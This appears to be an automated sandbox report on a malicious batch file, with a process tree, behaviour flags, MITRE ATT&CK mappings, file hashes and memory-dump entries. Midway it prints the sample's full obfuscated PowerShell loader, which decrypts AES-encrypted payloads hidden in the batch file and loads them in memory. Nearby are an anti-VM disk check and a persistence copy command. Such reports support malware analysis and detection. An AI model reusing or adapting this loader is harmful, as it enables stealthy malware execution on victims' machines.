PID 1676 wrote to memory of 1124	1676	dllhost.exe	17
PID 1676 wrote to memory of 1132	1676	dllhost.exe	18
PID 1676 wrote to memory of 1140	1676	dllhost.exe	19
PID 1676 wrote to memory of 1148	1676	dllhost.exe	20
PID 1676 wrote to memory of 1252	1676	dllhost.exe	21
PID 1676 wrote to memory of 1308	1676	dllhost.exe	22
PID 1676 wrote to memory of 1352	1676	dllhost.exe	23
PID 1676 wrote to memory of 1388	1676	dllhost.exe	24
PID 1676 wrote to memory of 1452	1676	dllhost.exe	25
PID 1676 wrote to memory of 1552	1676	dllhost.exe	26
PID 1676 wrote to memory of 1560	1676	dllhost.exe	27
PID 1676 wrote to memory of 1660	1676	dllhost.exe	28
PID 1676 wrote to memory of 1696	1676	dllhost.exe	29
PID 1676 wrote to memory of 1732	1676	dllhost.exe	30
PID 1676 wrote to memory of 1776	1676	dllhost.exe	31
PID 1676 wrote to memory of 1812	1676	dllhost.exe	32
PID 1676 wrote to memory of 1912	1676	dllhost.exe	33
PID 1676 wrote to memory of 1928	1676	dllhost.exe	34
PID 1676 wrote to memory of 1936	1676	dllhost.exe	35
PID 1676 wrote to memory of 2008	1676	dllhost.exe	36
PID 1676 wrote to memory of 2056	1676	dllhost.exe	37
PID 1676 wrote to memory of 2164	1676	dllhost.exe	39
PID 1676 wrote to memory of 2188	1676	dllhost.exe	40
PID 1676 wrote to memory of 2324	1676	dllhost.exe	41
PID 1676 wrote to memory of 2344	1676	dllhost.exe	42
PID 1676 wrote to memory of 2352	1676	dllhost.exe	43
PID 1676 wrote to memory of 2452	1676	dllhost.exe	44
PID 1676 wrote to memory of 2536	1676	dllhost.exe	45
PID 1676 wrote to memory of 2560	1676	dllhost.exe	46
PID 1676 wrote to memory of 2576	1676	dllhost.exe	47
PID 1676 wrote to memory of 2584	1676	dllhost.exe	48
PID 1388 wrote to memory of 2500	1388	svchost.exe	97
PID 1388 wrote to memory of 2500	1388	svchost.exe	97
PID 1676 wrote to memory of 2500	1676	dllhost.exe	97
PID 668 wrote to memory of 2560	668	lsass.exe	46
PID 1676 wrote to memory of 2804	1676	dllhost.exe	49
PID 1676 wrote to memory of 2952	1676	dllhost.exe	51
PID 1676 wrote to memory of 1472	1676	dllhost.exe	52

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\system32\winlogon.exe
winlogon.exe
1⤵
PID:612
- C:\Windows\system32\dwm.exe
  "dwm.exe"
  2⤵
  PID:332
- C:\Windows\System32\dllhost.exe
  C:\Windows\System32\dllhost.exe /Processid:{17668fdf-0522-4322-a8fe-26c39d3b6efa}
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:1676

C:\Windows\system32\lsass.exe
C:\Windows\system32\lsass.exe
1⤵
- Drops file in System32 directory
- Suspicious use of WriteProcessMemory
PID:668

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM
1⤵
PID:960

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s gpsvc
1⤵
PID:388

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s lmhosts
1⤵
PID:868

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Schedule
1⤵
- Drops file in System32 directory
PID:1124
- C:\Windows\system32\taskhostw.exe
  taskhostw.exe {222A245B-E637-4AE9-A93F-A59CA119A75E}
  2⤵
  PID:1472

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s TimeBrokerSvc
1⤵
PID:1132

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService
1⤵
PID:1140

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s EventLog
1⤵
- Indicator Removal: Clear Windows Event Logs
PID:1148

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s ProfSvc
1⤵
PID:1252

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s DispBrokerDesktopSvc
1⤵
PID:1308

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s nsi
1⤵
PID:1352

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s UserManager
1⤵
- Suspicious use of WriteProcessMemory
PID:1388
- C:\Windows\system32\sihost.exe
  sihost.exe
  2⤵
  PID:2500
- C:\Windows\system32\sihost.exe
  sihost.exe
  2⤵
  PID:4844
- C:\Windows\system32\sihost.exe
  sihost.exe
  2⤵
  PID:2488
- C:\Windows\system32\sihost.exe
  sihost.exe
  2⤵
  PID:64
- C:\Windows\system32\sihost.exe
  sihost.exe
  2⤵
  PID:1668
- C:\Windows\system32\sihost.exe
  sihost.exe
  2⤵
  PID:3008

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s Dhcp
1⤵
PID:1452

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s EventSystem
1⤵
PID:1552

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netsvcs -p -s Themes
1⤵
PID:1560

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k NetworkService -p -s NlaSvc
1⤵
PID:1660

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s SENS
1⤵
PID:1696

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s AudioEndpointBuilder
1⤵
PID:1732

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalService -p -s netprofm
1⤵
PID:1776

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
1⤵
PID:1812

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k appmodel -p -s StateRepository
1⤵
PID:1912

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
1⤵
PID:1928

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkService -p -s Dnscache
1⤵
PID:1936

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netsvcs -p -s ShellHWDetection
1⤵
PID:2008

C:\Windows\System32\spoolsv.exe
C:\Windows\System32\spoolsv.exe
1⤵
PID:2056

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k NetworkService -p -s LanmanWorkstation
1⤵
PID:2164

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Winmgmt
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:2188

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s IKEEXT
1⤵
PID:2324

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -s RmSvc
1⤵
PID:2344

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkServiceNetworkRestricted -p -s PolicyAgent
1⤵
PID:2352

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkService -p -s CryptSvc
1⤵
- Drops file in System32 directory
PID:2452

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s LanmanServer
1⤵
- Enumerates connected drives
- Suspicious use of AdjustPrivilegeToken
PID:2536

C:\Windows\sysmon.exe
C:\Windows\sysmon.exe
1⤵
PID:2560

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s TrkWks
1⤵
PID:2576

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s WpnService
1⤵
PID:2584

C:\Windows\system32\wbem\unsecapp.exe
C:\Windows\system32\wbem\unsecapp.exe -Embedding
1⤵
PID:2804

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k UnistackSvcGroup -s CDPUserSvc
1⤵
PID:2952

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s TokenBroker
1⤵
PID:3104

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s CDPSvc
1⤵
PID:3324

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:3436
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\Loli.bat"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4860
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:4232
- - C:\Windows\system32\fsutil.exe
    fsutil fsinfo drives
    3⤵
    PID:3152
- - C:\Windows\system32\findstr.exe
    findstr /i /c:"WDS100T2B0A" /c:"DADY HARDDISK" /c:"QEMU HARDDISK"
    3⤵
    PID:3124
- - C:\Windows\system32\cmd.exe
    cmd.exe /c echo function Hhsg($LiTn){ Invoke-Expression -Verbose -WarningAction Inquire -Debug -InformationAction Ignore '$DeVs=[heSheyshetheehemhe.heSheecheuherheihethey.heCrheyphetheohegherahephehyhe.heAheeheshe]:he:Cherheeahetehe(he);'.Replace('he', ''); Invoke-Expression -Debug -WarningAction Inquire -Verbose -InformationAction Ignore '$DeVs.MIHoIHdeIH=IH[IHSIHyIHsIHteIHmIH.IHSIHeIHcuIHriIHtyIH.IHCIHrIHypIHtIHogIHrIHaIHpIHhIHy.IHCiIHpIHheIHrMIHoIHdIHeIH]IH::IHCBIHC;'.Replace('IH', ''); Invoke-Expression -Verbose '$DeVs.Pljaljddljiljnljglj=lj[ljSyljsljtljeljmlj.Sljecljurljiljtljylj.Cljrljypljtljoljgljrljapljhylj.ljPaljddljiljnljgljMljodlje]lj:lj:PljKljCSlj7lj;'.Replace('lj', ''); Invoke-Expression -Debug -InformationAction Ignore -WarningAction Inquire '$DeVs.KHheHhy=Hh[HhSHhyHhsHhtHhemHh.HhCHhoHhnHhveHhrtHh]:Hh:HhFHhrHhomHhBHhasHheHh6Hh4HhSHhtrHhinHhgHh("gHhbHh5jHhQHhWHhRHhKHhWHhZrHhgHhJHh9HhNHhDNHhseHhnGHhFHhNHhAHhBxHhNHhWxHhFHhsHh2HhKHhy8HhoaHhNHh0RHhp8HhMHh=");'.Replace('Hh', ''); Invoke-Expression -Debug -WarningAction Inquire '$DeVs.IUOVUO=[UOSUOyUOsUOtUOeUOm.UOCUOoUOnUOvUOerUOt]UO::UOFUOrUOoUOmBUOaUOseUO6UO4UOSUOtUOriUOngUO("VUORUOrPUOaUOhUOWUO+UOjUOBtUOXUOOUOTUORUOTxUO0eUOfbUOgUO=UO=");'.Replace('UO', ''); $wkZk=$DeVs.CreateDecryptor(); $NmOc=$wkZk.TransformFinalBlock($LiTn, 0, $LiTn.Length); $wkZk.Dispose(); $DeVs.Dispose(); $NmOc;}function DmpQ($LiTn){ Invoke-Expression -InformationAction Ignore -Debug -WarningAction Inquire '$YiDY=Nszeszw-szOszbszjszeszcszt szSszyszssztszemsz.IszO.szMszeszmszorszyszStszrszeszaszm(,$LiTn);'.Replace('sz', ''); Invoke-Expression -Verbose '$wirR=Nszeszw-szOszbszjszeszcszt szSszyszssztszemsz.IszO.szMszeszmszorszyszStszrszeszaszm;'.Replace('sz', ''); Invoke-Expression -InformationAction Ignore -Verbose '$UvnG=NRleRlw-RlORlbRljRleRlcRlt RlSRlyRlsRltRlemRl.IRlO.RlCRloRlmRlprRleRlssRliRloRlnRl.RlGZRlipRlSRltrRleaRlmRl($YiDY, [RlIRlO.RlCRloRlmRlpRlrRlesRlsRliRloRlnRl.CRlomRlprRleRlsRlsRlioRlnRlMoRldRleRl]Rl:Rl:DRlecRloRlmpRlreRlsRls);'.Replace('Rl', ''); $UvnG.CopyTo($wirR); $UvnG.Dispose(); $YiDY.Dispose(); $wirR.Dispose(); $wirR.ToArray();}function aQPr($LiTn,$kClj){ Invoke-Expression -InformationAction Ignore -Verbose -WarningAction Inquire -Debug '$oOWF=[WWSWWysWWtWWeWWmWW.WWRWWefWWlWWeWWcWWtWWioWWn.WWAsWWsWWeWWmWWblWWyWW]:WW:WWLWWoWWaWWd([byte[]]$LiTn);'.Replace('WW', ''); Invoke-Expression -Debug -InformationAction Ignore -WarningAction Inquire -Verbose '$SUjQ=$oOWF.EClnCltrClyClPCloCliClnClt;'.Replace('Cl', ''); Invoke-Expression -Debug -WarningAction Inquire -InformationAction Ignore -Verbose '$SUjQ.SYISYnvSYoSYkSYeSY(SY$SYnuSYlSYlSY, $kClj);'.Replace('SY', '');}$ktyR = 'C:\Users\Admin\AppData\Local\Temp\Loli.bat';$host.UI.RawUI.WindowTitle = $ktyR;$AWzc=[System.IO.File]::ReadAllText($ktyR).Split([Environment]::NewLine);foreach ($dMFJ in $AWzc) { if ($dMFJ.StartsWith('gbUIp')) { $OujB=$dMFJ.Substring(5); break; }}$JACM=[string[]]$OujB.Split('\');Invoke-Expression -Verbose -InformationAction Ignore -Debug '$xGG = DmpQ (Hhsg ([JtCJtonJtvJteJtrJttJt]Jt::JtFJtrJtoJtmJtBaJtseJt64JtSJttJtrJtinJtg($JACM[0].Replace("#", "/").Replace("@", "A"))));'.Replace('Jt', '');Invoke-Expression -Verbose -WarningAction Inquire '$bQz = DmpQ (Hhsg ([JtCJtonJtvJteJtrJttJt]Jt::JtFJtrJtoJtmJtBaJtseJt64JtSJttJtrJtinJtg($JACM[1].Replace("#", "/").Replace("@", "A"))));'.Replace('Jt', '');Invoke-Expression -Debug -Verbose -InformationAction Ignore -WarningAction Inquire '$urF = DmpQ (Hhsg ([JtCJtonJtvJteJtrJttJt]Jt::JtFJtrJtoJtmJtBaJtseJt64JtSJttJtrJtinJtg($JACM[2].Replace("#", "/").Replace("@", "A"))));'.Replace('Jt', '');aQPr $xGG $null;aQPr $bQz $null;aQPr $urF (,[string[]] (''));
    3⤵
    PID:3804
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -WindowStyle Hidden
    3⤵
    - Suspicious use of NtCreateUserProcessOtherParentProcess
    - Command and Scripting Interpreter: PowerShell
    - Suspicious use of SetThreadContext
    - Drops file in Windows directory
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:2000
  - - C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /C type C:\Users\Admin\AppData\Local\Temp\Loli.bat>C:\Windows\$rbx-onimai2\$rbx-CO2.bat
      4⤵
      PID:1628

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k ClipboardSvcGroup -p -s cbdhsvc
1⤵
PID:3560

C:\Windows\system32\DllHost.exe
C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
1⤵
PID:3740

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
PID:3892

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
PID:428

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s wlidsvc
1⤵
- Modifies data under HKEY_USERS
PID:4376

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s StorSvc
1⤵
PID:4480

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation -p -s SSDPSRV
1⤵
PID:1172

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s WinHttpAutoProxySvc
1⤵
- Modifies data under HKEY_USERS
PID:4180

C:\Windows\system32\SppExtComObj.exe
C:\Windows\system32\SppExtComObj.exe -Embedding
1⤵
PID:2440

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalService -p -s LicenseManager
1⤵
PID:4588

C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe
"C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe" /service
1⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
PID:3588

C:\Windows\system32\DllHost.exe
C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
1⤵
PID:4596

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s NgcCtnrSvc
1⤵
PID:2904

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
PID:2132

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k WerSvcGroup
1⤵
PID:3572

C:\Windows\System32\WaaSMedicAgent.exe
C:\Windows\System32\WaaSMedicAgent.exe b1f0c7fa05994d2cb62227a6c7e28505 pIfQct0LnUCDw1jr0jKpmA.0.1.0.0.0
1⤵
- Sets service image path in registry
- Modifies data under HKEY_USERS
PID:4140
- C:\Windows\System32\Conhost.exe
  \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
  2⤵
  PID:4816

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s wuauserv
1⤵
- Drops file in Windows directory
- Suspicious use of AdjustPrivilegeToken
PID:2908

C:\Windows\system32\wbem\wmiprvse.exe
C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
1⤵
- Checks BIOS information in registry
- Writes to the Master Boot Record (MBR)
- Checks SCSI registry key(s)
- Enumerates system info in registry
PID:4516

C:\Windows\System32\mousocoreworker.exe
C:\Windows\System32\mousocoreworker.exe -Embedding
1⤵
PID:1480

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Pre-OS Boot

T1542

Bootkit

T1542.003

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Defense Evasion

Indicator Removal

T1070

Clear Windows Event Logs

T1070.001

Modify Registry

T1112

Pre-OS Boot

T1542

Bootkit

T1542.003

Credential Access

Discovery

Peripheral Device Discovery

T1120

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_3gudbpgb.sd5.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Maintenance Work

Filesize
2KB

MD5
8abf2d6067c6f3191a015f84aa9b6efe

SHA1
98f2b0a5cdb13cd3d82dc17bd43741bf0b3496f7

SHA256
ee18bd3259f220c41062abcbe71a421da3e910df11b9f86308a16cdc3a66fbea

SHA512
c2d686a6373efcff583c1ef50c144c59addb8b9c4857ccd8565cd8be3c94b0ac0273945167eb04ebd40dfb0351e4b66cffe4c4e478fb7733714630a11f765b63

Download Submit
C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Maintenance Work

Filesize
2KB

MD5
f313c5b4f95605026428425586317353

SHA1
06be66fa06e1cffc54459c38d3d258f46669d01a

SHA256
129d0b993cd3858af5b7e87fdf74d8e59e6f2110184b5c905df8f5f6f2c39d8b

SHA512
b87a829c86eff1d10e1590b18a9909f05101a535e5f4cef914a4192956eb35a8bfef614c9f95d53783d77571687f3eb3c4e8ee2f24d23ad24e0976d8266b8890

Download Submit
C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Wake To Work

Filesize
2KB

MD5
ceb7caa4e9c4b8d760dbf7e9e5ca44c5

SHA1
a3879621f9493414d497ea6d70fbf17e283d5c08

SHA256
98c054088df4957e8d6361fd2539c219bcf35f8a524aad8f5d1a95f218e990e9

SHA512
1eddfbf4cb62d3c5b4755a371316304aaeabb00f01bad03fb4f925a98a2f0824f613537d86deddd648a74d694dc13ed5183e761fdc1ec92589f6fa28beb7fbff

Download Submit
C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Wake To Work

Filesize
2KB

MD5
7d612892b20e70250dbd00d0cdd4f09b

SHA1
63251cfa4e5d6cbf6fb14f6d8a7407dbe763d3f5

SHA256
727c9e7b91e144e453d5b32e18f12508ee84dabe71bc852941d9c9b4923f9e02

SHA512
f8d481f3300947d49ce5ab988a9d4e3154746afccc97081cbed1135ffb24fc107203d485dda2d5d714e74e752c614d8cfd16781ea93450fe782ffae3f77066d1

Download Submit
C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Work

Filesize
2KB

MD5
0b990e24f1e839462c0ac35fef1d119e

SHA1
9e17905f8f68f9ce0a2024d57b537aa8b39c6708

SHA256
a1106ed0845cd438e074344e0fe296dc10ee121a0179e09398eaaea2357c614a

SHA512
c65ba42fc0a2cb0b70888beb8ca334f7d5a8eaf954a5ef7adaecbcb4ce8d61b34858dfd9560954f95f59b4d8110a79ceaa39088b6a0caf8b42ceda41b46ec4a4

Download Submit
memory/332-108-0x00007FF9EDC8F000-0x00007FF9EDC90000-memory.dmp

Filesize
4KB

Download
memory/332-107-0x00007FF9EDC8D000-0x00007FF9EDC8E000-memory.dmp

Filesize
4KB

Download
memory/612-44-0x0000019500110000-0x000001950013A000-memory.dmp

Filesize
168KB

Download
memory/612-33-0x0000019500110000-0x000001950013A000-memory.dmp

Filesize
168KB

Download
memory/612-51-0x00007FF9ADC70000-0x00007FF9ADC80000-memory.dmp

Filesize
64KB

Download
memory/612-41-0x0000019500110000-0x000001950013A000-memory.dmp

Filesize
168KB

Download
memory/612-43-0x0000019500110000-0x000001950013A000-memory.dmp

Filesize
168KB

Download
memory/612-31-0x00000195000E0000-0x0000019500104000-memory.dmp

Filesize
144KB

Download
memory/612-45-0x0000019500110000-0x000001950013A000-memory.dmp

Filesize
168KB

Download
memory/612-47-0x0000019500110000-0x000001950013A000-memory.dmp

Filesize
168KB

Download
memory/612-48-0x00007FF9EDC8D000-0x00007FF9EDC8E000-memory.dmp

Filesize
4KB

Download
memory/612-49-0x00007FF9EDC8F000-0x00007FF9EDC90000-memory.dmp

Filesize
4KB

Download
memory/612-50-0x00007FF9EDC8C000-0x00007FF9EDC8D000-memory.dmp

Filesize
4KB

Download
memory/612-32-0x0000019500110000-0x000001950013A000-memory.dmp

Filesize
168KB

Download
memory/612-42-0x0000019500110000-0x000001950013A000-memory.dmp

Filesize
168KB

Download
memory/668-1087-0x0000020787440000-0x0000020787464000-memory.dmp

Filesize
144KB

Download
memory/668-54-0x0000020787470000-0x000002078749A000-memory.dmp

Filesize
168KB

Download
memory/668-68-0x0000020787470000-0x000002078749A000-memory.dmp

Filesize
168KB

Download
memory/668-67-0x00007FF9ADC70000-0x00007FF9ADC80000-memory.dmp

Filesize
64KB

Download
memory/668-66-0x0000020787470000-0x000002078749A000-memory.dmp

Filesize
168KB

Download
memory/668-65-0x0000020787470000-0x000002078749A000-memory.dmp

Filesize
168KB

Download
memory/668-64-0x0000020787470000-0x000002078749A000-memory.dmp

Filesize
168KB

Download
memory/668-63-0x0000020787470000-0x000002078749A000-memory.dmp

Filesize
168KB

Download
memory/668-62-0x0000020787470000-0x000002078749A000-memory.dmp

Filesize
168KB

Download
memory/668-73-0x0000020787440000-0x0000020787464000-memory.dmp

Filesize
144KB

Download
memory/960-85-0x0000029173DA0000-0x0000029173DCA000-memory.dmp

Filesize
168KB

Download
memory/960-84-0x0000029173DA0000-0x0000029173DCA000-memory.dmp

Filesize
168KB

Download
memory/960-83-0x0000029173DA0000-0x0000029173DCA000-memory.dmp

Filesize
168KB

Download
memory/960-75-0x0000029173DA0000-0x0000029173DCA000-memory.dmp

Filesize
168KB

Download
memory/960-86-0x0000029173DA0000-0x0000029173DCA000-memory.dmp

Filesize
168KB

Download
memory/960-87-0x0000029173DA0000-0x0000029173DCA000-memory.dmp

Filesize
168KB

Download
memory/1676-21-0x0000000140000000-0x0000000140008000-memory.dmp

Filesize
32KB

Download
memory/1676-27-0x00007FF9EC9D0000-0x00007FF9ECA8E000-memory.dmp

Filesize
760KB

Download
memory/1676-26-0x00007FF9EDBF0000-0x00007FF9EDDE5000-memory.dmp

Filesize
2.0MB

Download
memory/1676-25-0x0000000140000000-0x0000000140008000-memory.dmp

Filesize
32KB

Download
memory/1676-23-0x0000000140000000-0x0000000140008000-memory.dmp

Filesize
32KB

Download
memory/1676-20-0x0000000140000000-0x0000000140008000-memory.dmp

Filesize
32KB

Download
memory/1676-19-0x0000000140000000-0x0000000140008000-memory.dmp

Filesize
32KB

Download
memory/1676-28-0x0000000140000000-0x0000000140008000-memory.dmp

Filesize
32KB

Download
memory/2000-0-0x00007FF9CFA43000-0x00007FF9CFA45000-memory.dmp

Filesize
8KB

Download
memory/2000-202-0x00000250B88E0000-0x00000250B8C52000-memory.dmp

Filesize
3.4MB

Download
memory/2000-17-0x00007FF9EDBF0000-0x00007FF9EDDE5000-memory.dmp

Filesize
2.0MB

Download
memory/2000-16-0x00000250B81D0000-0x00000250B8616000-memory.dmp

Filesize
4.3MB

Download
memory/2000-72-0x00007FF9CFA40000-0x00007FF9D0501000-memory.dmp

Filesize
10.8MB

Download
memory/2000-18-0x00007FF9EC9D0000-0x00007FF9ECA8E000-memory.dmp

Filesize
760KB

Download
memory/2000-70-0x00007FF9CFA43000-0x00007FF9CFA45000-memory.dmp

Filesize
8KB

Download
memory/2000-91-0x00007FF9CFA40000-0x00007FF9D0501000-memory.dmp

Filesize
10.8MB

Download
memory/2000-15-0x00000250B8190000-0x00000250B81CA000-memory.dmp

Filesize
232KB

Download
memory/2000-1091-0x00007FF9CFA40000-0x00007FF9D0501000-memory.dmp

Filesize
10.8MB

Download
memory/2000-14-0x00000250FF500000-0x00000250FF576000-memory.dmp

Filesize
472KB

Download
memory/2000-13-0x00000250FF430000-0x00000250FF474000-memory.dmp

Filesize
272KB

Download
memory/2000-12-0x00007FF9CFA40000-0x00007FF9D0501000-memory.dmp

Filesize
10.8MB

Download
memory/2000-11-0x00007FF9CFA40000-0x00007FF9D0501000-memory.dmp

Filesize
10.8MB

Download
memory/2000-6-0x00000250FCDA0000-0x00000250FCDC2000-memory.dmp

Filesize
136KB

Download